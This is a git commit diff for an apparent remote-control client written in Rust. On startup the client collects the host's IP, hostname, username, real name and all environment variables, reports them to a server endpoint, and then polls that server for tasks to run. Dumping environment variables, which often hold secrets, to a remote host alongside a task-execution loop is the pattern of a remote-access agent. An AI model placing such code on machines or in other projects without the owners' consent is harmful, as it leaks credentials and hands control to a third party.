summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorlittleblack111 <littleblack11111@gmail.com>2025-09-14 21:41:15 +0800
committerlittleblack111 <littleblack11111@gmail.com>2025-09-14 21:41:15 +0800
commit6bdc5a7c6d9d986115e4e7a5214234c10ce123b2 (patch)
treeda9d9a4c458af97de2e78fc55a7c0f20a607f0c4
parentbebc63d7bcaaf30f9ffe0a58548250c8cc7189d4 (diff)
feat: client initialization fetches basic infos
refactor: connector manager -> client manager, similar concept, different mentality note: if custom ip fetcher fails then it defaults to ifconfig.me
-rw-r--r--Cargo.lock40
-rw-r--r--Cargo.toml2
-rw-r--r--src/client/client.rs74
-rw-r--r--src/client/connector.rs29
-rw-r--r--src/client/connector/connectors/httpconnector.rs24
-rw-r--r--src/client/connector/manager.rs15
-rw-r--r--src/client/main.rs11
7 files changed, 167 insertions, 28 deletions
diff --git a/Cargo.lock b/Cargo.lock
index 0a27afe..05e92a5 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -222,6 +222,16 @@ dependencies = [
]
[[package]]
+name = "gethostname"
+version = "1.0.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fc257fdb4038301ce4b9cd1b3b51704509692bb3ff716a410cbd07925d9dae55"
+dependencies = [
+ "rustix",
+ "windows-targets",
+]
+
+[[package]]
name = "getrandom"
version = "0.2.16"
source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -562,6 +572,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6a82ae493e598baaea5209805c49bbf2ea7de956d50d7da0da1164f9c6d28543"
[[package]]
+name = "libredox"
+version = "0.1.10"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "416f7e718bdb06000964960ffa43b4335ad4012ae8b99060261aa4a8088d5ccb"
+dependencies = [
+ "bitflags",
+ "libc",
+ "redox_syscall",
+]
+
+[[package]]
name = "linux-raw-sys"
version = "0.9.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -790,10 +811,12 @@ dependencies = [
name = "remote-control-rs"
version = "0.1.0"
dependencies = [
+ "gethostname",
"reqwest",
"signal-hook",
"tokio",
"url",
+ "whoami",
]
[[package]]
@@ -1327,6 +1350,12 @@ dependencies = [
]
[[package]]
+name = "wasite"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b8dad83b4f25e74f184f64c43b150b91efe7647395b42289f38e50566d82855b"
+
+[[package]]
name = "wasm-bindgen"
version = "0.2.100"
source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -1408,6 +1437,17 @@ dependencies = [
]
[[package]]
+name = "whoami"
+version = "1.6.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5d4a4db5077702ca3015d3d02d74974948aba2ad9e12ab7df718ee64ccd7e97d"
+dependencies = [
+ "libredox",
+ "wasite",
+ "web-sys",
+]
+
+[[package]]
name = "windows-link"
version = "0.1.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
diff --git a/Cargo.toml b/Cargo.toml
index ef32d82..3d1f892 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -8,6 +8,8 @@ tokio = { version = "1", features = ["full"] }
reqwest = { version = "0.12", features = ["blocking"] }
url = { version = "2" }
signal-hook = "0.3.18"
+gethostname = "1.0.2"
+whoami = "1.6.1"
[[bin]]
name = "client"
diff --git a/src/client/client.rs b/src/client/client.rs
new file mode 100644
index 0000000..2a5f595
--- /dev/null
+++ b/src/client/client.rs
@@ -0,0 +1,74 @@
+use gethostname::gethostname;
+use std::net::IpAddr;
+use whoami::{DesktopEnv, Language};
+
+use crate::connector::Connection;
+
+pub struct Client<C: Connection> {
+ pub connector: C,
+ ip: Option<IpAddr>,
+ hostname: String,
+ device_name: String,
+ os: &'static str,
+ cpu_arch: String,
+ distro: String,
+ desktop_env: DesktopEnv,
+ username: String,
+ realname: String,
+ langs: Option<Vec<Language>>,
+ env: Vec<(String, String)>,
+}
+
+impl<C: Connection> std::fmt::Display for Client<C> {
+ fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+ write!(
+ f,
+ "IP: {:?}\n\
+ Hostname: {}\n\
+ Device Name: {}\n\
+ OS: {}\n\
+ CPU Architecture: {}\n\
+ Distro: {}\n\
+ Desktop Environment: {:?}\n\
+ Username: {}\n\
+ Real Name: {}\n\
+ Languages: {:?}\n\
+ Environment Variables: {:?}\n",
+ self.ip,
+ self.hostname,
+ self.device_name,
+ self.os,
+ self.cpu_arch,
+ self.distro,
+ self.desktop_env,
+ self.username,
+ self.realname,
+ self.langs,
+ self.env
+ )
+ }
+}
+
+impl<C: Connection> Client<C> {
+ pub fn new(connector: C) -> Self {
+ let c = Self {
+ ip: connector.get_ip(),
+ connector,
+ hostname: gethostname().into_string().unwrap_or_default(),
+ device_name: whoami::devicename(),
+ os: std::env::consts::OS,
+ cpu_arch: std::env::consts::ARCH.to_string(),
+ distro: whoami::distro(),
+ desktop_env: whoami::desktop_env(),
+ username: whoami::username(),
+ realname: whoami::realname(),
+ langs: match whoami::langs() {
+ Ok(it) => Some(it.collect()),
+ Err(_) => None,
+ },
+ env: std::env::vars().collect(),
+ };
+ c.connector.init(&c);
+ c
+ }
+}
diff --git a/src/client/connector.rs b/src/client/connector.rs
index b111fc5..c7daf96 100644
--- a/src/client/connector.rs
+++ b/src/client/connector.rs
@@ -1,16 +1,11 @@
pub mod connectors;
-pub mod manager;
-use std::{thread::sleep, time::Duration};
+use std::{net::IpAddr, thread::sleep, time::Duration};
-use crate::executor::Executor;
+use crate::{client::Client, executor::Executor};
use remote_control_rs::tasks::IntoTask;
-#[derive(Debug)]
-pub enum Result<T: std::fmt::Display + IntoTask, E: std::fmt::Debug> {
- Ok(T),
- Err(E),
-}
+pub type Result<T: std::fmt::Display + IntoTask, E: std::fmt::Debug> = std::result::Result<T, E>;
pub trait Connection {
type Ok: std::fmt::Display + IntoTask + AsRef<str> = String;
@@ -20,14 +15,29 @@ pub trait Connection {
fn update(&self) -> Result<Self::Ok, Self::Err>; // None if no update(content is same)
// TODO: queue failed ntfy
+ // TODO: impl type of data
fn ntfy(&self, data: String) -> Result<Self::Ok, Self::Err>;
fn is_prev(&mut self, str: &Self::Ok) -> bool;
+ fn get_ip(&self) -> Option<IpAddr>;
+
fn force_network(&mut self) {
_ = Executor::new("network", ["on".to_string()]);
}
+ fn init(&self, c: &Client<Self>)
+ where
+ Self: std::marker::Sized,
+ {
+ self.ntfy(format!(
+ r#"New client:
+ {c}
+ "#,
+ ))
+ .unwrap();
+ }
+
fn reinit(&mut self) {
sleep(Duration::from_millis(500));
self.force_network();
@@ -59,7 +69,8 @@ pub trait Connection {
.unwrap()
.clone()
.unwrap(),
- ); //.unwrap()
+ )
+ .unwrap();
}
Result::Err(e) => {
#[cfg(debug_assertions)]
diff --git a/src/client/connector/connectors/httpconnector.rs b/src/client/connector/connectors/httpconnector.rs
index 0b9d590..8052b25 100644
--- a/src/client/connector/connectors/httpconnector.rs
+++ b/src/client/connector/connectors/httpconnector.rs
@@ -11,18 +11,28 @@ pub struct HTTPConnector {
network_updater: Executor,
pull_url: Url,
ntfy_url: Url,
+ ip_getter_url: Url,
client: Client,
prev: <HTTPConnector as Connection>::Ok,
}
impl HTTPConnector {
- pub fn new(pull_url: &str, ntfy_url: &str) -> std::result::Result<Self, url::ParseError> {
+ pub fn new(
+ pull_url: &str,
+ ntfy_url: &str,
+ ip_getter_url: &str,
+ ) -> std::result::Result<Self, url::ParseError> {
+ // TODO: proper type
assert_eq!(TASKS[2].name, "network");
Ok(Self {
network_updater: Executor::new(&TASKS[2], ["on".to_string()]).unwrap(),
prev: String::new(),
pull_url: Url::parse(pull_url)?,
ntfy_url: Url::parse(ntfy_url)?,
+ ip_getter_url: match Url::parse(ip_getter_url) {
+ Ok(url) => url,
+ Err(_) => Url::parse((pull_url.to_string() + ip_getter_url).as_str())?,
+ },
client: Client::new(),
})
}
@@ -96,4 +106,16 @@ impl Connection for HTTPConnector {
fn force_network(&mut self) {
_ = self.network_updater.run();
}
+
+ fn get_ip(&self) -> Option<IpAddr> {
+ match self.handle_response(|| self.client.get(self.ip_getter_url.as_str()).send()) {
+ Result::Ok(ip) => Some(ip.parse().ok()?),
+ Result::Err(_) => {
+ match self.handle_response(|| self.client.get("ifconfig.me").send()) {
+ Ok(ip) => Some(ip.parse().ok()?),
+ Err(_) => None,
+ }
+ }
+ }
+ }
}
diff --git a/src/client/connector/manager.rs b/src/client/connector/manager.rs
deleted file mode 100644
index ff52daf..0000000
--- a/src/client/connector/manager.rs
+++ /dev/null
@@ -1,15 +0,0 @@
-use crate::connector::Connection;
-
-pub struct ConnectorManager<C: Connection> {
- connector: C,
-}
-
-impl<C: Connection> ConnectorManager<C> {
- pub fn new(connector: C) -> Self {
- Self { connector }
- }
-
- pub fn enter_loop(&mut self) {
- self.connector.r#loop();
- }
-}
diff --git a/src/client/main.rs b/src/client/main.rs
index 9f922e0..0dc1e53 100644
--- a/src/client/main.rs
+++ b/src/client/main.rs
@@ -1,9 +1,13 @@
-#![feature(associated_type_defaults, never_type)]
+#![allow(incomplete_features)]
+#![feature(associated_type_defaults, never_type, lazy_type_alias)]
-use crate::connector::{connectors::httpconnector::HTTPConnector, manager::ConnectorManager};
+use crate::client::Client;
+use crate::connector::Connection;
+use crate::connector::connectors::httpconnector::HTTPConnector;
use signal_hook::consts::signal::*;
use signal_hook::iterator::Signals;
+pub(crate) mod client;
pub(crate) mod connector;
pub(crate) mod executor;
@@ -35,5 +39,6 @@ fn main() {
]); // discard err
let ip = "http://127.0.0.1:8080";
- ConnectorManager::new(HTTPConnector::new(ip, ip).unwrap()).enter_loop();
+ let mut client = Client::new(HTTPConnector::new(ip, ip, "/").unwrap());
+ client.connector.r#loop();
}